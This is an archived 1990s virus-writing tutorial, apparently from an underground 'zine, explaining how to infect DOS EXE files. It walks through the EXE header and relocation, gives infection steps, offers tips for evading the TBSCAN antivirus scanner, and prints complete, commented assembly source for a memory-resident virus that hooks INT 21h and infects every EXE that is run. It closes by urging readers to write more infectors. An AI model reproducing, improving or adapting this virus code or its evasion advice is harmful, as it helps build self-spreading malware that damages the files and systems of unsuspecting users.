home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack / virpgm02.txt < prev    next >
Encoding:
Text File  |  1998-12-04  |  22.7 KB  |  524 lines

  1. Virus programming (not so basic) #2...
  2. ------------------------------------------------------------------
  3.   Infecting an .EXE is not much more difficult than infecting a
  4. .COM.  To do so, you must learn about a structure known as the EXE
  5. header.  Once you've picked this up, it's not so difficult and it
  6. offers many more options than just a simple jump at the beginning
  7. of the code.
  8.  
  9. Let's begin:
  10.  
  11. % The Header structure %
  12.   The information on EXE header structure is available from any
  13. good DOS book, and even from some other H/P/V mags.  Anyhow, I'll
  14. include that information here for those who don't have those
  15. sources to understand what I'm talking about.
  16.  
  17.   Offset  Description
  18.      00   EXE identifier (MZ = 4D5A)
  19.      02   Number of bytes on the last page (of 512 bytes) of the
  20.           program
  21.      04   Total number of 512 byte pages, rounded upwards
  22.      06   Number of entries in the File Allocation Table
  23.      08   Size of the header in paragraphs, including the FAT
  24.      0A   Minimum memory requirement
  25.      0C   Maximum memory requirement
  26.      0E   Initial SS
  27.      10   Initial SP
  28.      12   Checksum
  29.      14   Initial IP
  30.      16   Initial CS
  31.      18   Offset to the FAT from the beginning of the file
  32.      1A   Number of generated overlays
  33.  
  34.   The EXE identifier (MZ) is what truly distinguishes the EXE from
  35. a COM, and not the extension.  The extension is only used by DOS to
  36. determine which must run first (COM before EXE before BAT).  What
  37. really tells the system whether its a "true" EXE is this identifier
  38. (MZ).
  39.   Entries 02 and 04 contain the program size in the following
  40. format: 512 byte pages * 512 + remainder.  In other words, if the
  41. program has 1025 bytes, we have 3 512 byte pages (remember, we must
  42. round upwards) plus a remainder of 1.  (Actually, we could ask why
  43. we need the remainder, since we are rounding up to the nearest
  44. page.  Even more since we are going to use 4 bytes for the size,
  45. why
  46. not just eliminate it?  The virus programmer has such a rough life
  47. :-)).  Entry number 06 contains the number of entries in the FAT
  48. (number of pointers, see below) and entry 18 has the offset from
  49. the
  50. FAT within the file.  The header size (entry 08) includes the FAT.
  51. The minimum memory requirement (0A) indicates the least amount of
  52. free memory the program needs in order to run and the maximum (0C)
  53. the ideal amount of memory to run the program.  (Generally this is
  54. set to FFFF = 1M by the linkers, and DOS hands over all available
  55. memory).
  56.   The SS:SP and CS:IP contain the initial values for theses
  57. registers (see below).  Note that SS:SP is set backwards, which
  58. means that an LDS cannot load it.  The checksum (12) and the number
  59. of overlays (1a) can be ignored since these entries are never used.
  60.  
  61. % EXE vs. COM load process %
  62.    Well, by now we all know exhaustively how to load a .COM:
  63. We build a PSP, we create an Environment Block starting from the
  64. parent block, and we copy the COM file into memory exactly as it
  65. is, below the PSP.  Since memory is segmented into 64k "caches" no
  66. COM file can be larger than 64K.  DOS will not execute a COM file
  67. larger than 64K.  Note that when a COM file is loaded, all
  68. available memory is granted to the program.
  69. Where it pertains to EXEs, however, bypassing these limitations is
  70. much more complex;  we must use the FAT and the EXE header for
  71. this.
  72.    When an EXE is executed, DOS first performs the same functions
  73. as
  74. in loading a COM.  It then reads into a work area the EXE header
  75. and, based on the information this provides, reads the program into
  76. its proper location in memory.  Lastly, it reads the FAT into
  77. another work area.  It then relocates the entire code.
  78.  
  79.    What does this consist of?  The linker will always treat any
  80. segment references as having a base address of 0.  In other words,
  81. the first segment is 0, the second is 1, etc.  On the other hand,
  82. the program is loaded into a non-zero segment; for example, 1000h.
  83. In this case, all references to segment 1 must be converted to
  84. segment 1001h.
  85.  
  86.    The FAT is simply a list of pointers which mark references of
  87. this type (to segment 1, etc.).  These pointers, in turn, are also
  88. relative to base address 0, which means they, too, can be
  89. reallocated.  Therefore, DOS adds the effective segment (the
  90. segment into which the program was loaded; i.e. 1000h) to the
  91. pointer in the FAT and thus obtains an absolute address in memory
  92. to reference the segment.  The effective segment is also added to
  93. this reference, and having done this with each and every segment
  94. reference, the EXE is reallocated and is ready to execute.
  95. Finally, DOS sets SS:SP to the header values (also reallocated; the
  96. header SS + 1000H), and turns control over to the CS:IP of the
  97. header (obviously also reallocated).
  98.  
  99.    Lets look at a simple exercise:
  100.  
  101. EXE PROGRAM FILE
  102.   Header                 CS:IP (Header)   0000:0000 +
  103.   (reallocation          Eff. Segment     1000      +
  104.    table entries=2)      PSP              0010      =
  105.                          -------------------------
  106.                          Entry Point    1010:0000 >─────────┐
  107. Reallocation Table          ┌─────────────┘                 │
  108.    0000:0003 >─────────> + 1010H = 1010:0003 >──┐           │
  109.                     ┌───────────────────────────┘           │
  110.    0000:0007 >──────┼──> + 1010H = 1010:0007 >──┐           │
  111.                   ┌─┼───────────────────────────┘           │
  112.   Program Image   │ │    PROGRAM IN MEMORY                  │
  113.                   │ │    PSP                    1000:0000   │
  114.   call 0001:0000  │ └──> call 1011:0000         1010:0000 <─┘
  115.   nop             │      nop                    1010:0005
  116.   mov ax, 0003    └────> mov ax, 1013           1010:0006
  117.   mov ds, ax             mov ds, ax             1010:0009
  118.  
  119. Note: I hope you appreciate my use of the little arrows, because it
  120. cost me a testicle to do it by hand using the Alt+??? keys in
  121. Norton Commander Editor.
  122.  
  123. % Infecting the EXE %
  124.    Once it has been determined that the file is an EXE and NOT a
  125. COM, use the following steps to infect it:
  126.  
  127. -    Obtain the file size and calculate the CS:IP
  128.      This is complex.  Most, if not all, viruses add 1 to 15
  129.      garbage bytes to round out to a paragraph.  This allows you to
  130.      calculate CS in such a way that IP does not vary from file to
  131.      file.  This, in turn, allows you to write the virus without
  132.      "reallocation" since it will always run with the same offset,
  133.      making the virus both less complex and smaller.  The (minimal)
  134.      effort expended in writing these 1 - 15 bytes is justified by
  135.      these benefits.
  136. -    Add the virus to the end of the file.
  137.      Well, I'm sure that by now you are familiar function 40H of
  138.      Int 21H, right?    :-)
  139. -    Calculate the SS:SP
  140.      When infecting an EXE it is necessary for the virus to "fix"
  141.      itself a new stack since otherwise the host's stack could be
  142.      superimposed over the virus code and have it be overwritten
  143.      when the code is executed.  The system would then hang.
  144.      Generally, SS is the same as the calculated CS, and SP is
  145.      constant (you can put it after the code).  Something to keep
  146.      in mind: SP can never be an odd number because, even though it
  147.      will work, it is an error and TBSCAN will catch it.  (TBSCAN
  148.      detects 99% of the virus stacks with the "K" flag.  The only
  149.      way to elude this that I'm aware of, is to place the stack
  150.      AHEAD of the virus in the infected file, which is a pain in
  151.      the ass because the infection size increases and you have to
  152.      write more "garbage" to make room for the stack.
  153. -    Modify the size shown in the header
  154.      Now that you've written the virus, you can calculate the final
  155.      size and write it in the header.  It's easy: place the size
  156.      divided by 512 plus 1 in 'pages' and the rest in 'remainder'.
  157.      All it takes is one DIV instruction.
  158. -    Modify the "MinAlloc"
  159.      In most EXEs, "MaxAlloc" is set to FFFF, or 1 meg, and DOS
  160.      will give it all the available memory.  In such cases, there
  161.      is more than enough room for HOST+VIRUS.  But, two things
  162.      could happen:
  163.      1.   It could be that "MaxAlloc" is not set to FFFF, in which
  164.           case only the minimum memory is granted to the host and
  165.           possibly nothing for the virus.
  166.  
  167.      2.   It could be that there is too little memory available,
  168.           thus when the system gives the program "all the available
  169.           memory" (as indicated by FFFF) there may still be
  170.           insufficient memory for HOST+VIRUS.
  171.      In both cases, the virus does not load and the system halts.
  172.      To get around this, all that needs to be done is to add to
  173.      "MinAlloc" the size of the virus in "paragraphs".  In the
  174.      first case, DOS would load the program and everything would
  175.      work like a charm.  In the second case, DOS would not execute
  176.      the file due to "insufficient memory".
  177.  
  178.   Well, that's all.  Just two last little things: when you write an
  179. EXE infector, we are interested not only in the infection routine
  180. but also the installation routine.  Keep in mind that in an EXE DS
  181. and ES point to the PSP and are different from SS and CS (which in
  182. turn can be different from each other).  This can save you from
  183. hours of debugging and inexplicable errors.  All that needs to be
  184. done is to follow the previously mentioned steps in order to infect
  185. in the safe, "traditional" way.  I recommend that you study
  186. carefully the virus example below as it illustrates all the topics
  187. we've mentioned.
  188.  
  189. % Details, Oh, Details ... %
  190.      One last detail which is somewhat important, deals with
  191.      excessively large EXEs.  You sometimes see EXEs which are
  192.      larger than 500K.  (For example, TC.EXE which was the IDE for
  193.      TURBO C/C++ 1.01, was 800K.  Of course, these EXEs aren't very
  194.      common; they simply have internal overlays.  It's almost
  195.      impossible to infect these EXEs for two reasons:
  196.      1.   The first is more or less theoretical.  It so happens
  197.           that it's only possible to direct 1M to registers
  198.           SEGMENT:OFFSET.  For this reason, it is technically
  199.           impossible to infect EXEs 1M+ in size since it is
  200.           impossible to direct CS:IP to the end of the file.  No
  201.           virus can do it.  (Are there EXEs of a size greater than
  202.           1M?  Yes, the game HOOK had an EXE of 1.6M.  BLERGH!)
  203.      2.   The second reason is of a practical nature.  These EXEs
  204.           with internal overlays are not loaded whole into memory.
  205.           Only a small part of the EXE is loaded into memory, which
  206.           in turn takes care of loading the other parts AS THEY ARE
  207.           NEEDED.  That's why its possible to run an 800K EXE (did
  208.           you notice that 800K > 640K?  :-) ).  How does this fact
  209.           make these EXEs difficult to infect?  Because once one of
  210.           these EXEs has been infected and the virus has made its
  211.           modifications, the file will attempt to load itself into
  212.           memory in it's entirety (like, all 800K).  Evidently, the
  213.           system will hang.  It's possible to imagine a virus
  214.           capable of infecting very large EXEs which contain
  215.           internal overlays (smaller than 1M) by manipulating the
  216.           "Header Size", but even so I can't see how it would work
  217.           because at some point DOS would try to load the entire
  218.           file.
  219.  
  220. % A Special case: RAT %
  221.    Understanding the header reallocation process also allows us to
  222. understand the functioning of a virus which infects special EXEs.
  223. We're talking about the RAT virus.  This virus takes advantage of
  224. the fact that linkers tend to make the headers in caches of 512
  225. bytes, leaving a lot of unused space in those situations where
  226. there is little reallocation.
  227.    This virus uses this unused space in order to copy itself
  228. without using the header (of the file allocation table).  Of
  229. course, it works in a totally different manner from a normal EXE
  230. infector.  It cannot allow any reallocation; since its code is
  231. placed BEFORE the host, it would be the virus code and not the host
  232. which is reallocated.  Therefore, it can't make a simple jump to
  233. the host to run it (since it isn't reallocated); instead, it must
  234. re-write the original header to the file and run it with AX=4B00,
  235. INT 21.
  236.  
  237. % Virus Example %
  238.    OK, as behooves any worthwhile virus 'zine, here is some totally
  239. functional code which illustrates everything that's been said about
  240. infecting EXEs.  If there was something you didn't understand, or
  241. if you want to see something "in code form", take a good look at
  242. this virus, which is commented OUT THE ASS.
  243.  
  244. -------------------- Cut Here ------------------------------------
  245. ;NOTE: This is a mediocre virus, set here only to illustrate EXE
  246. ; infections.  It can't infect READ ONLY files and it modifies the
  247. ; date/time stamp.  It could be improved, such as by making it
  248. ; infect R/O files and by optimizing the code.
  249. ;
  250. ;NOTE 2: First, I put a cute little message in the code and second,
  251. ; I made it ring a bell every time it infects.  So, if you infect
  252.  
  253. ; your entire hard drive, it's because you're a born asshole.
  254.  
  255. code segment para public
  256.      assume cs:code, ss:code
  257. VirLen         equ  offset VirEnd - offset VirBegin
  258. VirBegin  label     byte
  259. Install:
  260.      mov ax, 0BABAH ; This makes sure the virus doesn't go resident
  261.  
  262.                     ; twice
  263.      int 21h
  264.      cmp ax, 0CACAH ; If it returns this code, it's already
  265.                     ; resident
  266.      jz AlreadyInMemory
  267.  
  268.      mov ax, 3521h  ; This gives us the original INT 21 address so
  269.      int 21h        ; we can call it later
  270.      mov cs:word ptr OldInt21, bx
  271.      mov cs:word ptr OldInt21+2, es
  272.  
  273.      mov ax, ds                      ; \
  274.      dec ax                          ; |
  275.      mov es, ax                      ; |
  276.      mov ax, es:[3] ; block size     ; | If you're new at this,
  277.                                      ; | ignore all this crap
  278.      sub ax, ((VirLen+15) /16) + 1   ; | (It's the MCB method)
  279.      xchg bx, ax                     ; | It's not crucial for EXE
  280.      mov ah,4ah                      ; | infections.
  281.      push ds                         ; | It's one of the ways to
  282.      pop es                          ; | make a virus go resident.
  283.      int 21h                         ; |
  284.      mov ah, 48h                     ; |
  285.      mov bx, ((VirLen+15) / 16)      ; |
  286.      int 21h                         ; |
  287.      dec ax                          ; |
  288.      mov es, ax                      ; |
  289.      mov word ptr es:[1], 8          ; |
  290.      inc ax                          ; |
  291.      mov es, ax                      ; |
  292.      xor di, di                      ; |
  293.      xor si, si                      ; |
  294.      push ds                         ; |
  295.      push cs                         ; |
  296.      pop ds                          ; |
  297.      mov cx, VirLen                  ; |
  298.      repz movsb                      ; /
  299.  
  300.      mov ax, 2521h  ; Here you grab INT 21
  301.      mov dx, offset NewInt21
  302.      push es
  303.      pop ds
  304.      int 21h
  305.      pop ds    ; This makes DS & ES go back to their original
  306.                ; values
  307.      push ds   ; IMPORTANT! Otherwise the EXE will receive the
  308.      pop es    ; incorrect DE & ES values, and hang.
  309.  
  310. AlreadyInMemory:
  311.      mov ax, ds                      ; With this I set SS to the
  312.                                      ; Header value.
  313.      add ax, cs:word ptr SS_SP       ; Note that I "reallocate" it
  314.                                      ; using DS since this is the
  315.      add ax, 10h                     ; the segment into which the
  316.      mov ss, ax               ; program was loaded.  The +10
  317.                               ; corresponds to the
  318.      mov sp, cs:word ptr SS_SP+2   ; PSP. I also set SP
  319.      mov ax, ds
  320.      add ax, cs:word ptr CS_IP+2   ; Now I do the same with CS &
  321.      add ax, 10h                   ; IP. I "push" them and then I
  322.                                    ; do a retf. (?)
  323.      push ax                       ; This makes it "jump" to that
  324.      mov ax, cs:word ptr CS_IP     ; position
  325.      push ax
  326.      retf
  327.  
  328. NewInt21:
  329.      cmp ax, 0BABAh ; This ensures the virus does not go
  330.      jz PCheck      ; resident twice.
  331.      cmp ax, 4b00h  ; This intercepts the "run file" function
  332.      jz Infect ;
  333.      jmp cs:OldInt21  ; If it is neither of these, it turns control
  334.  
  335.                       ; back to the original INT21 so that it
  336.                       ; processes the call.
  337. PCheck:
  338.      mov ax, 0CACAH   ; This code returns the call.
  339.      iret             ; return.
  340.  
  341. ; Here's the infection routine.  Pay attention, because this is
  342. ; "IT".
  343. ; Ignore everything else if you wish, but take a good look at this.
  344. Infect:
  345.      push ds   ; We put the file name to be infected in DS:DX.
  346.      push dx   ; Which is why we must save it.
  347.      pushf
  348.      call cs:OldInt21 ; We call the original INT21 to run the file.
  349.  
  350.      push bp          ; We save all the registers.
  351.      mov bp, sp       ; This is important in a resident routine,
  352.                       ;since if it isn't done,
  353.      push ax          ; the system will probably hang.
  354.      pushf
  355.      push bx
  356.      push cx
  357.      push dx
  358.      push ds
  359.  
  360.      lds dx, [bp+2] ; Again we obtain the filename (from the stack)
  361.      mov ax, 3d02h  ; We open the file r/w
  362.      int 21h
  363.      xchg bx, ax
  364.      mov ah, 3fh    ; Here we read the first 32 bytes to memory.
  365.      mov cx, 20h    ; to the variable "ExeHeader"
  366.      push cs
  367.      pop ds
  368.      mov dx, offset ExeHeader
  369.      int 21h
  370.  
  371.      cmp ds:word ptr ExeHeader, 'ZM' ; This determines if it's a
  372.      jz Continue                     ; "real" EXE or if it's a COM.
  373.      jmp AbortInfect                 ; If it's a COM, don't infect.
  374. Continue:
  375.      cmp ds:word ptr Checksum, 'JA'  ; This is the virus's way
  376.                                      ; of identifying itself.
  377.      jnz Continue2            ; We use the Header Chksum for this
  378.      jmp AbortInfect          ; It's used for nothing else.  If
  379.                          ; already infected, don't re-infect. :-)
  380. Continue2:
  381.      mov ax, 4202h  ; Now we go to the end of file to see of it
  382.      cwd            ; ends in a paragraph
  383.      xor cx, cx
  384.      int 21h
  385.      and ax, 0fh
  386.      or ax, ax
  387.      jz DontAdd     ; If "yes", we do nothing
  388.      mov cx, 10h    ; If "no", we add garbage bytes to serve as
  389.      sub cx, ax     ; Note that the contents of DX no longer matter
  390.      mov ah, 40h    ; since we don't care what we're inserting.
  391.      int 21h
  392.  
  393. DontAdd:
  394.      mov ax, 4202h  ; OK, now we get the final size, rounded
  395.      cwd            ; to a paragraph.
  396.      xor cx, cx
  397.      int 21h
  398.  
  399.      mov cl, 4 ; This code calculates the new CS:IP the file must
  400.      shr ax, cl ; now have, as follows:
  401.      mov cl, 12 ; File size: 12340H (DX=1, AX=2340H)
  402.      shl dx, cl ; DX SHL 12 + AX SHR 4 = 1000H + 0234H = 1234H = CS
  403.      add dx, ax ; DX now has the CS value it must have.
  404.      sub dx, word ptr ds:ExeHeader+8 ; We subtract the number of
  405.                                      ; paragraphs from the header
  406.      push dx    ; and save the result in the stack for later.
  407.                 ; <------- Do you understand why you can't infect
  408.                 ; EXEs larger than 1M?
  409.  
  410.      mov ah, 40h   ; Now we write the virus to the end of the file.
  411.      mov cx, VirLen ; We do this before touching the header so that
  412.  
  413.      cwd            ; CS:IP or SS:SP of the header (kept within the
  414.  
  415.                     ; virus code)
  416.      int 21h        ; contains the original value
  417.                     ; so that the virus installation routines work
  418.                     ; correctly.
  419.  
  420.      pop dx
  421.      mov ds:SS_SP, dx       ; Modify the header CS:IP so that it
  422.                             ; points to the virus.
  423.      mov ds:CS_IP+2, dx     ; Then we place a 100h stack after the
  424.      mov ds:word ptr CS_IP, 0   ; virus since it will be used by
  425.      ; the virus only during the installation process.  Later, the
  426.      ; stack changes and becomes the programs original stack.
  427.      mov ds:word ptr SS_SP+2, ((VirLen+100h+1)/2)*2
  428.      ; the previous command SP to have an even value, otherwise
  429.      ; TBSCAN will pick it up.
  430.      mov ax, 4202h  ; We obtain the new size so as to calculate the
  431.      xor cx, cx     ; size we must place in the header.
  432.      cwd
  433.      int 21h
  434.      mov cx, 200h   ; We calculate the following:
  435.      div cx         ; FileSize/512 = PAGES plus remainder
  436.      inc ax         ; We round upwards and save
  437.      mov word ptr ds:ExeHeader+2, dx ; it in the header to
  438.      mov word ptr ds:ExeHeader+4, ax ; write it later.
  439.      mov word ptr ds:Checksum, 'JA'; We write the virus's
  440.                                    ; identification mark in the
  441.  
  442.                                    ; checksum.
  443.      add word ptr ds:ExeHeader+0ah, ((VirLen + 15) SHR 4)+10h
  444.           ; We add the number of paragraphs to the "MinAlloc"
  445.           ; to avoid memory allocation problems (we also add 10
  446.           ; paragraphs for the virus's stack.
  447.  
  448.      mov ax, 4200h  ; Go to the start of the file
  449.      cwd
  450.      xor cx, cx
  451.      int 21h
  452.      mov ah, 40h    ; and write the modified header....
  453.      mov cx, 20h
  454.      mov dx, offset ExeHeader
  455.      int 21h
  456.  
  457.      mov ah, 2  ; a little bell rings so the beginner remembers
  458.      mov dl,  7     ; that the virus is in memory.  IF AFTER ALL
  459.      int 21h        ; THIS YOU STILL INFECT YOURSELF, CUT OFF YOUR
  460.                     ; NUTS.
  461. AbortInfect:
  462.      mov ah, 3eh    ; Close the file.
  463.      int 21h
  464.      pop ds         ; We pop the registers we pushed so as to save
  465.      pop dx         ; them.
  466.      pop cx
  467.      pop bx
  468.      pop ax;flags   ; This makes sure the flags are passed
  469.      mov bp, sp     ; correctly.  Beginners can ignore this.
  470.      mov [bp+12], ax
  471.      pop ax
  472.      pop bp
  473.      add sp, 4
  474.      iret           ; We return control.
  475.  
  476.  
  477. ; Data
  478. OldInt21  dd   0
  479. ; Here we store the original INT 21 address.
  480.  
  481. ExeHeader db   0eh DUP('H');
  482. SS_SP          dw   0, offset VirEnd+100h
  483. Checksum  dw   0
  484. CS_IP          dw   offset Hoste,0
  485.           dw   0,0,0,0
  486. ; This is the EXE header.
  487. VirEnd         label     byte
  488.  
  489. Hoste:
  490.      ; This is not the virus host, rather the "false host" so that
  491.      ; the file carrier runs well   :-).
  492.      mov ah, 9
  493.      mov dx, offset MSG
  494.      push cs
  495.      pop ds
  496.      int 21h
  497.      mov ax, 4c00h
  498.      int 21h
  499.      MSG db "LOOK OUT! The virus is now in memory!", 13, 10
  500.          db "And it could infect all the EXEs you run!", 13, 10
  501.          db "If you get infected, that's YOUR problem", 13, 10
  502.          db "We're not responsible for your stupidity!$"
  503. ends
  504. end
  505. -------------------- Cut Here -------------------------------------
  506.  
  507. % Conclusion %
  508.     OK, that's all, folks.  I tried to make this article useful for
  509. both the "profane" who are just now starting to code Vx as well as
  510. for those who have a clearer idea.  Yeah, I know the beginners
  511. almost certainly didn't understand many parts of this article due
  512. the complexity of the matter, and the experts may not have
  513. understood some parts due to the incoherence and poor descriptive
  514. abilities of the writer.  Well, fuck it.
  515.    Still, I hope it has been useful and I expect to see many more
  516. EXE infectors from now on.  A parting shot: I challenge my readers
  517. to write a virus capable of infecting an 800K EXE file (I think
  518. it's impossible).  Prize: a lifetime subscription to Minotauro
  519. Magazine :-).
  520.                               Trurl, the great "constructor"
  521.  
  522.  
  523.  
  524.